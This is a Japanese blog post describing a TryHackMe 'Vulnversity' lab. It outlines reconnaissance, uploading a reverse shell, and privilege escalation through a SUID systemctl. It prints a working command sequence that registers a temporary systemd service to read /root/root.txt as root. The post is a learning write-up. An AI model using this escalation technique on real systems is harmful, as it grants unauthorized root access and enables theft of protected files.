0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

TryHackMe - Vulnversity

Last updated at Posted at 2025-08-14

概要

今回の記事ではWebサイトの脆弱性を利用してサイトを攻撃します。

今回、「教科書」とは別に次のページを参考にさせていただきました。

ハッキング手順

次の手順でサイトを攻撃します。

  • nmapで稼働しているサービスとポート番号を調べる
  • Gobusterを使ってURL直接指定でアクセスできるディレクトリを検出する
  • BurpSuiteを使用してアップロード可能なファイル拡張子を特定する
  • リバースシェルスクリプトをサイトにアップロードする
  • リバースシェルスクリプトを実行する
  • リバースシェルで管理者権限に昇格しflagを取得する

ハッキング詳細

  • Gobustorについて
    dirbのように隠しディレクトリを見つけてくれるツールです。

  • 管理者権限昇格
    パーミッションにSUIDが設定されているバイナリは「使用者の権限」でなく「所有者の権限」で実行されます。所有者がrootのバイナリにSUIDが設定されていれば、一般ユーザーがそのバイナリを実行すると管理者権限で実行されます。

次のスクリプトは一時的なsystemdサービスファイルを作成し、そのサービスを起動・有効化します。
サービスは/root/root.txtの内容を/tmp/outputに出力しています。

# 一時的なファイル(eg. /tmp/tmp.xxxx.service)をTFに格納する
$ TF=$(mktemp).service

# サービスの内容を定義する
$ echo '[Service]
> Type=oneshot
> ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"
> [Install]
> WantedBy=multi-user.target' > $TF

# サービス内容の解説
# [Service]:systemdのサービス定義開始
# Type=oneShot:一度だけ実行
# ExecStart=...:実行される内容(root.txtを/tmp/outputにコピー)
# [Install]:サービスを有効化したときのターゲットを指定
# Wantedby=multi-user.target:マルチユーザー(通常のログイン可能な状態)で起動

# 一時ファイルを/etc/systemd/system/以下にシンボリックリンクとして登録することで、systemdが一時ファイルを起動する
$ systemctl link $TF
Created symlink from /etc/systemd/system/tmp.no1Z6GItfQ.service to /tmp/tmp.no1Z6GItfQ.service.

# 一時ファイルを起動する
$ systemctl enable --now $TF
Created symlink from /etc/systemd/system/multi-user.target.wants/tmp.no1Z6GItfQ.service to /tmp/tmp.no1Z6GItfQ.service.

備忘録

  • SUIDパーミッション
    SUIDパーミッションがついているファイルは実行したユーザーの権限ではなく、所有者の権限で実行される。
  • systemctlのパーミッション
    通常systemctのパーミッションにsuidが設定されていることはないらしい。そしてsuidが設定されていなければ、systemctl link は実行できないので今回のようなサービスをつくることはできないようです。
  • .service拡張子
    ファイルに.serviceが付くことでsystmctlはそのファイルをサービスとして認識するようです。
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?